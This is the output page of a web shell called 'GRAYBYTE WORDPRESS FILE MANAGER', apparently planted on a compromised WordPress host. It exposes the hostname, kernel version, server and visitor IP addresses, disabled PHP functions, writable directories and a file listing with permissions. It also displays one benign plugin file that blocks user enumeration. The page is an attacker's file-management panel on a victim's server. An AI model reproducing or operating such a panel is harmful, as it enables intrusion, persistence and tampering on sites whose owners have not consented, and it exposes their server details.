✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/wordpress//user-enumeration.php
<?php
defined('ABSPATH') or die();
/**
 * Prevent User Enumeration
 * @return void
 */
function rsssl_check_user_enumeration() {
	if ( ! is_user_logged_in() && isset( $_REQUEST['author'] ) ) {
		if ( preg_match( '/\\d/', $_REQUEST['author'] ) > 0 ) {
			wp_die( sprintf(__( 'forbidden - number in author name not allowed = %s', 'really-simple-ssl' ), esc_html( $_REQUEST['author'] ) ) );
		}
	}
}
add_action('init', 'rsssl_check_user_enumeration');

/**
 * @return bool
 * Remove author from Yoast sitemap
 */
function rsssl_remove_author_from_yoast_sitemap( $users ) {
	return false;
}
add_filter('wpseo_sitemap_exclude_author', 'rsssl_remove_author_from_yoast_sitemap', 10, 1 );

/**
 * Prevent WP JSON API User Enumeration
 * Return 401 Unauthorized
 */
if ( !is_user_logged_in() || !current_user_can('edit_posts') ) {
	add_filter( 'rest_endpoints', function ( $endpoints ) {
		if ( isset( $endpoints['/wp/v2/users'] ) ) {
			// Save the original endpoint
			$original_endpoint = $endpoints['/wp/v2/users'];

			// Override the GET callback
			$endpoints['/wp/v2/users'][0]['callback'] = function() {
				return new WP_Error(
					'rest_user_cannot_view',
					__( 'Sorry, you are not allowed to access users without authentication.', 'really-simple-ssl' ),
					array( 'status' => 401 )
				);
			};

			// Preserve the original args and permission callback
			$endpoints['/wp/v2/users'][0]['args'] = $original_endpoint[0]['args'];
			$endpoints['/wp/v2/users'][0]['permission_callback'] = '__return_true';
		}

		if ( isset( $endpoints['/wp/v2/users/(?P<id>[\d]+)'] ) ) {
			// Save the original endpoint
			$original_endpoint = $endpoints['/wp/v2/users/(?P<id>[\d]+)'];

			// Override the GET callback
			$endpoints['/wp/v2/users/(?P<id>[\d]+)'][0]['callback'] = function() {
				return new WP_Error(
					'rest_user_cannot_view',
					__( 'Sorry, you are not allowed to access user data without authentication.', 'really-simple-ssl' ),
					array( 'status' => 401 )
				);
			};

			// Preserve the original args and permission callback
			$endpoints['/wp/v2/users/(?P<id>[\d]+)'][0]['args'] = $original_endpoint[0]['args'];
			$endpoints['/wp/v2/users/(?P<id>[\d]+)'][0]['permission_callback'] = '__return_true';
		}

		return $endpoints;
	} );
}

//prevent xml site map user enumeration
add_filter(
	'wp_sitemaps_add_provider',
	function( $provider, $name ) {
		if ( 'users' === $name ) {
			return false;
		}

		return $provider;
	},
	10,
	2
);


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Sep 2026 7.12 AM
docteuh / users
0777
05
--
19 Sep 2026 6.22 AM
docteuh / users
0755
06
--
8 Sep 2026 5.00 AM
docteuh / users
0755
09
--
21 Sep 2026 6.42 AM
docteuh / users
0755
Resources
--
22 Sep 2026 12.37 PM
docteuh / users
0755
application
--
18 Sep 2026 7.55 AM
docteuh / users
0755
cache-runtime-store
--
16 Sep 2026 6.52 AM
docteuh / users
0755
dist
--
22 Sep 2026 12.38 PM
docteuh / users
0755
domain
--
13 Sep 2026 3.05 AM
docteuh / users
0755
jquery3
--
31 Aug 2026 6.15 PM
docteuh / users
0755
network
--
14 Sep 2026 7.20 AM
docteuh / users
0755
providers
--
22 Sep 2026 9.57 PM
docteuh / users
0755
redux
--
10 Sep 2026 5.42 PM
docteuh / users
0755
schema_map
--
13 Sep 2026 12.08 PM
docteuh / users
0755
search-api
--
15 Sep 2026 6.25 AM
docteuh / users
0755
user-interface
--
12 Sep 2026 12.34 AM
docteuh / users
0755
block-code-execution-uploads.php
2.346 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
disable-xmlrpc-20260831102755.php
0.38 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
disable-xmlrpc.php
0.38 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
display-name-is-login-name.php
1.537 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
hide-wp-version.php
2.63 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
index.php
0.034 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
prevent-login-info-leakage-20260913151242.php
1.062 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
prevent-login-info-leakage.php
1.062 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
rename-admin-user.php
7.283 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
resize-rtl-2x.gif
0.146 KB
16 Nov 2021 1.04 AM
docteuh / users
0644
rest-api.php
1.675 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
user-enumeration.php
2.397 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
user-registration-20260904002721.php
0.243 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
user-registration-20260909211344.php
0.243 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
user-registration.php
0.243 KB
18 Jun 2026 6.25 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF